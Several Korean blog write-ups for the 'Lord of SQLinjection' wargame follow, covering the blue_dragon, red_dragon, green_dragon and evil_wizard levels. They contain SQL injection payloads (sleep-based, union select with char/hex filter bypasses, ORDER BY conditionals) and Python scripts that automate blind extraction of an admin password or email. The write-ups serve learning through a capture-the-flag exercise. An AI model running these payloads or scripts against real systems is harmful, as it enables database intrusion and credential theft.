아우 이번에도 addslashes 함수에 걸리는 것으로 보아 자동화코드 해서 pw를 모두 구해야한다..

1) id와 pw에 모두 prob, _, . 필터링되어있다.

2) \  와 ' 도 필터링

3) id=admin에 맞는 pw를 찾아야 한다.

뭔가 이전에 풀었던 문제들과 유사했는데.. 뭘까.. 차이점을 찾아보자

가장 큰 차이점은 일부러 에러를 발생해봤는데 예전에는 query문을 보여주지 않았는데, 이 문제는 query를 보여주고 no hack ~_~ 을 띄운다.

즉, 2번 필터링 조건들은 query가 정상적으로 동작한 후 응답값을 No hack 으로 바꿔버리는 것이다. 필터링 조건은 있지만 query는 정상적으로 동작한다.

그러면 싱글쿼터가 정상 작동을 하니 No Hack ~_~ 이 메시지를 띄우는 시간 지연차이를 볼 수 있을 것 같다.

즉, timebased 가 가능하다는 것

payload : id = admin ' and sleep(10) # 

sleep 함수에 대한 필터링이 없기 때문에 timebased가 가능하다!

payload : id = admin ' and (case when 1=1 then sleep(10) else sleep(1) end)

case when 필터링도 없어서 조건이 참일 때 10초가 걸리는 것을 확인했다.

payload : id = admin ' and (case when 1=2 then sleep(10) else sleep(1) end) 

조건이 거짓일 때 1초가 걸리는 것을 확인했다. 

 


자동화 코드

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        
        start = time.time()
        math.factorial(100000)

        value = "admin' and (case when length(pw)={} then sleep(5) else sleep(1) end)#".format(len_num) #injection payload
        parmas = {'id': value}      
        
        response = requests.get(url,params=parmas, cookies=cookies)
        end = time.time()
        print(value + f"{end-start:.5f} sec")
 
    return len_num

혼자만 5초 이상 지연이 발생했다. 길이는 8 byte

def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

       
        for j in range(46, 122):  #아스키코드값 48번부터 122번
 
            start = time.time()   #시작시간
            math.factorial(100000)
            
            value = "admin' and (case when ascii(substr(pw,{},1))={} then sleep(5) else sleep(1) end)#".format(i,j) #injection payload
            parmas = {'id':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            
            end = time.time()     #종료시간
            take_time = end - start  #소요시간
            

            print(value + "    time : " + str(take_time))
            #print("email: ", j)

            if take_time >5 and take_time<10:      #소요시간 5초 이상 10초 미만
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
                
    return pw

시작은 좀..많이 걸리지만... 잘 나온다!

 

전체 코드

#LOS blue_dragon

import math
import time
import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        
        start = time.time()
        math.factorial(100000)

        value = "admin' and (case when length(pw)={} then sleep(5) else sleep(1) end)#".format(len_num) #injection payload
        parmas = {'id': value}     

        
        response = requests.get(url,params=parmas, cookies=cookies)
        end = time.time()
        print(value + f"{end-start:.5f} sec")
 
    return len_num


#패스워드 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

       
        for j in range(46, 122):  
 
            start = time.time()
	        math.factorial(100000)
            
            value = "admin' and (case when ascii(substr(pw,{},1))={} then sleep(5) else sleep(1) end)#".format(i,j) #injection payload
            parmas = {'id':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            
            end = time.time()
            take_time = end - start
            

            print(value + "    time : " + str(take_time))
            #print("email: ", j)

            if take_time >5 and take_time<10:      
                pw = pw + chr(j)    
                print("password  : ", pw)
                break
    return pw


pw_real(pw_len())

 

solve!!!!!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step30. ouroboros 풀이  (0) 2023.07.05
[LOS] step28. FRANKENSTEIN 풀이  (0) 2023.07.03
[LOS] step26. red_dragon 풀이  (0) 2023.06.22
[LOS] step25. green_dragon 풀이  (0) 2023.06.21
[LOS] step24. evil_wizard 풀이  (0) 2023.06.21

이전문제랑 비슷할 거 같았는데 뭐가 추가되고 필터링이 달라졌다

id 파라미터에는 prob _ . 까지 이고 싱글쿼터는 필터링 되지 않았다 그리고 길이 제한. 긴 payload는 쓰기 어려울 것 같다.

일단 문제를 풀기 위해서는 admin에 해당하는 no 값을 찾아야 하는 것 같다.

이것저것 해보기..

 

guest는 왜 없냐? no 1일 거란 안일한 생각..

admin은 있네.

id = admin and no= ? 하려고 했으나.. 너무 길어서 and → ||  변경해도 너무 길다고 필터링에 걸린다.

그래서 힌트를 조금 얻으니 굳이 id = admin이라는 조건이 필요없다 왜?

이미 쿼리에 id = admin이라는 조건이 있고 no 만 찾으면 된다.

 

payload : id = ' ' || no >10 '

id 파라미터에 admin을 제거하고 no를 찾기 위한 조건을 or과 연결해서 전달하니...
또 길이 제한에 걸린다. no가 어떤 수가 올지 모르니 여기서는 계속 길이제한에 걸릴 것이다. 
그러면 no 파라미터에 길이제한이 없으므로 no 파라미터를 이용해야 하는데 no 파라미터에는 no 값을 넣어야지 no를 구하는 조건들을 넣을 수가 없다. 

그러면 no 파라미터는 무력화하고 no를 찾는 조건 구문을 넣으려면.. 예전 문제에서 봤던 거처럼 개행이 필요해보인다.

테스트 페이지에서 id 가 1이상인 데이터를 조회할 때

WHERE ID = ' ' || ID > # AND [컬럼] = \n

[값] # ' ;

이런식으로 개행을 시켜버리면 AND [컬럼]은 무력화되면서 ID > [ 값 ] ; 이렇게 연결된다.

다행히도 no>까지는 길이제한에 걸리지 않는다.

id = ' ' and no > 1111111111111111111111 암만 자릿수를 늘려도 no가 크다고 한다.. 이상하다..

hex값으로 변경했는데, 이때는 숫자로 인식하지 않아서 1로 고정 반환된다..

다시 payload를 보니 개행문자와 주석(#)을 제대로 넣지 않았음.....

하ㅠㅠ


 

노가다로 일단 no의 길이부터 찾아야 한다.. 10^8보다 크고  10^9보다는 작다.

10^8 < no < 10^9

자동화코드 써보려했으나 시간이 너무 오래걸려서 수동작업함..

59보다 작으니 58이겠군.. 이러면서 한자리 한자리씩 오른쪽부터..

 

똑똑하지 않으면 몸이 고생하네..

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step28. FRANKENSTEIN 풀이  (0) 2023.07.03
[LOS] step27. blue_dragon 풀이  (0) 2023.06.22
[LOS] step25. green_dragon 풀이  (0) 2023.06.21
[LOS] step24. evil_wizard 풀이  (0) 2023.06.21
[LOS] step23. hell_fire 풀이  (0) 2023.06.21

어려워보인다..

일단, id와 pw 파라미터에 prob, _ , . , ', " 모두 필터링된다.... 그럼 싱글쿼터 우회로 풀리는 단순한 게 아니라는 뜻..

이전 문제들과 다른 점은 id 파라미터에 값이 들어오면 query2 가 또 보여진다는 것.. query2가 실행되고 그 query2에서의 id값이 admin이어야 풀리는 문제이다.

그럼 일단은 id가 유효하게 쿼리를 던져야 한다.

일단은 예전에 풀었던 문제처럼 \ 를 이용하는 것 같다

 

예전 payload와 거의 동일하게 했는데도 안 풀렸다.. id의 값 [ \' and pw=] 를 문자열로 만들고 id = '[~]' or 1=1 로 true 로 만들어도 소용이 없다.

아마도 id값이 이상해서 그런 거 같다. (id에 포함되어진 싱글쿼터는  \ 로 인해 문자가 되어버려서 필터링에도 안 걸린다) 

데이터베이스에 존재하는 id값을 admin 말고는 모르니..무슨 공격을 해야할까.. 하다가 도움을 받았다ㅠㅠ

union select 를 사용하여 행을 추가하는 것이다.

하ㅠ 

sql test 사이트에서 동일한 조건을 구성해놓고 실습해봤다. 

id 값을 \ 로 문자열로 만들어 버리고.. 뒤에 바로 union select (컬럼갯수만큼)  던졌더니 union select문이 실행됐다.

이 실습 데이터에서는 열의 갯수가 5개 이므로 union select 1,2,3,4,5 # 로 시도했다.

데이터베이스의 컬럼 갯수는 모르니까 union select 1 부터 차근차근 했더니 query2를 볼 수 있었다.

이 테이블의 컬럼 갯수는 2개인 듯 하다. (id와 pw)

지금 query2의 id값이 1로 되어 있으니.. admin으로 바꿔주면 되겠다!

읭..  query2도 없어졌다.. 아마도 id = 'admin' 으로 감싸져야 하는데 그대로 admin만 들어가서 그런 거 같다. 

싱글쿼터를 막고 있으니.. 다르게 admin값을 넣어줘야 한다. 

예전 문제 step3를 보면 hex값으로 변환해서 넣어준 적이 있다. 이걸 이용해보자

으잉.. 잘 admin이 들어갔는데 왜 안돼...

ㅠㅠㅠㅠㅠㅠㅠㅠ

도저히 감이 안와서 서칭을 해본 결과 char()함수를 써야 한다고 한다.......어려워 어려워

char함수는 아스키코드값을 문자로 변환하는 함수 이므로 char 안에 [admin]의 아스키코드 값이 들어가야 하는 것 같다.

내가 싱글쿼터를 넣지 않아도 이런식으로 char(아스키코드값) 으로 문자를 넣을 수 있다.

뭔데 얘도 안된다...

여기서부터 뭔가 잘못됐다. query2에서 id 값이 admin이 들어왔음에도 안되는 것을 보아 query2 또한 우회를 해야 하는 것 같다.

그래서 query2에도 필터링이 있는 게 그 이유인 듯..

똑같이 query2에도 싱글쿼터를 이용할 수 없다. 그러면 \  부터..

하지만 query2에서의 id 파라미터에는 \ 가 먹히지 않는다 ㅠㅠ 그래서 여기서부터 또 우회...

\를 다시 hex값으로 바꾸니 잘 들어간다.. 그러면 이제 \ 이후를 모두 문자열로 만들었으니.. pw 파라미터에 id = admin을 만들어줘야 한다. 하지만 싱글쿼터가 필터링 되기 때문에 여기에도 union select를 이용하여 id 파라미터에 admin 붙어줘야 겠다..

즉, id = ' \ ' and pw= ' union select admin #
\로 인하여  [\ ' and pw=] 전체가 그냥 문자열이 되어버리기 때문에  [\ ' and pw=]와 admin을 union select로 붙어줘야 할 것 같다.

두번째 query2에서 \ 역시 hex화 했던 거와 동일하게 union select admin 자체를 hex값으로 전환해야 할 것만 같다.

어렵다 어려워

hex로 변환

hex값으로 변환했음에도 안되는 걸 보니 admin 을 앞서 했던 char() 함수를 이용하여 변환해야 겠다..

 

갈 길이 멀다..

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step27. blue_dragon 풀이  (0) 2023.06.22
[LOS] step26. red_dragon 풀이  (0) 2023.06.22
[LOS] step24. evil_wizard 풀이  (0) 2023.06.21
[LOS] step23. hell_fire 풀이  (0) 2023.06.21
[LOS] step22. dark_eyes 풀이  (0) 2023.06.20

이 문제는 앞서 푼 23번 문제와 유사하다.

차이점은 단 1개, 시간지연함수들이 필터링 되는 것.. 이번에는 time-based를 쓰지 않고 문제를 풀어야 한다.

아마도 이전 문제에서 겪었던 시행착오처럼 응답값을 보고 판단해야 하는 것 같다.

이전 문제에서는 

id 기준으로 정렬값 (admin이 첫번째)과 score 기준으로 정렬한 값(admin이 두번째)이 상이했다.

하지만 이번 문제에서는 이걸 사용할 수 없다.

왜냐면 둘다 정렬된 값이 둘다 admin이 첫번째가 되기 때문이다.

그러면 어떠한 응답 차이를 찾을 수 있을까 생각하다가...

id를 기준으로 정렬하되, 오름차 / 내림차 순으로 차이를 두면 될 것 같았다

오름차
내림차

ASC, DESC 로 정렬 차이를 보였다. 이를 이용해보자!

 

시행착오 1)

이렇게 했더니 안돼..

시행착오 2)

괄호로 안 감쌌더니 안되는 줄 알았는데 이것도 안됐다..

시행착오 3)

이것도 안되네.. 하지만 결과값이 테이블에 나오기는 한다.. 하지만 참 거짓을 나눌 수 없었다.

도저히 안되서 힌트를 얻었다.

결과)

거짓

id는 그냥 주고 뒤에 id desc 를 싱글쿼터로 감쌌더니 되었다.. 왜그러는거야..

일단 자동화코드 돌려보자..

길이 찾기

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1

        value = "(case when (id='admin' and length(email)={}) then id else 'id desc' end)".format(len_num) 
        parmas = {'order':value}
        response = requests.get(url,params=parmas, cookies=cookies)
        print(value)

        if "<tr><th>id</th><th>email</th><th>score</th><tr><td>admin</td><td>**************</td><td>50</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.com</td><td>100</td></tr>" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break

    return len_num

여기서 우리가 찾았을 때의 응답값 기준을 걸어주는데, 이전에는 Hello admin이었다면.. 이번에는 참일 때 admin이 첫번째로 오기 때문에 응답값을 그대로 넣어줬다. 

즉, 

이 자체 코드를 찾도록 하였다...

실행결과

 성공..

 

한글자씩 찾기

def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

       
        for j in range(46, 122):  #아스키코드값 48번부터 122번

            value = "(case when (id='admin' and ascii(substr(email,{},1))={}) then id else 'id desc' end)".format(i,j) #injection payload
            parmas = {'order':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            
            
            if "<tr><th>id</th><th>email</th><th>score</th><tr><td>admin</td><td>**************</td><td>50</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.com</td><td>100</td></tr>" in response.text:    #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

이 역시도 어찌저찌 성공...

 

전체코드

#LOS evil_wizard

import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1

        value = "(case when (id='admin' and length(email)={}) then id else 'id desc' end)".format(len_num) 
        parmas = {'order':value}
        response = requests.get(url,params=parmas, cookies=cookies)
        print(value)

        if "<tr><th>id</th><th>email</th><th>score</th><tr><td>admin</td><td>**************</td><td>50</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.com</td><td>100</td></tr>" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break

    return len_num



def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

       
        for j in range(46, 122):  #아스키코드값 48번부터 122번

            value = "(case when (id='admin' and ascii(substr(email,{},1))={}) then id else 'id desc' end)".format(i,j) #injection payload
            parmas = {'order':value}
            response = requests.get(url, params=parmas, cookies=cookies)

            
            if "<tr><th>id</th><th>email</th><th>score</th><tr><td>admin</td><td>**************</td><td>50</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.com</td><td>100</td></tr>" in response.text:    #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

pw_real(pw_len())

 

어쨌든 solve..!!!!!!

 


이 방법 말고 다른 방법도 찾아보았다.

유효한 열 번호(1) 과 유효하지 않은 열 번호( ' 빈값 ') 의 응답 차이를 이용해서도 가능한 것 같다.

하지만 이대로 조건을 걸어주면 안된다...

but

참일 때 order by 1 이 아니라 order by id 로 해주면 된다. 뭐지..

 

아시는 고수 분들 알려주세요//

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step26. red_dragon 풀이  (0) 2023.06.22
[LOS] step25. green_dragon 풀이  (0) 2023.06.21
[LOS] step23. hell_fire 풀이  (0) 2023.06.21
[LOS] step22. dark_eyes 풀이  (0) 2023.06.20
[LOS] step21. iron_golem 풀이  (1) 2023.06.19

+ Recent posts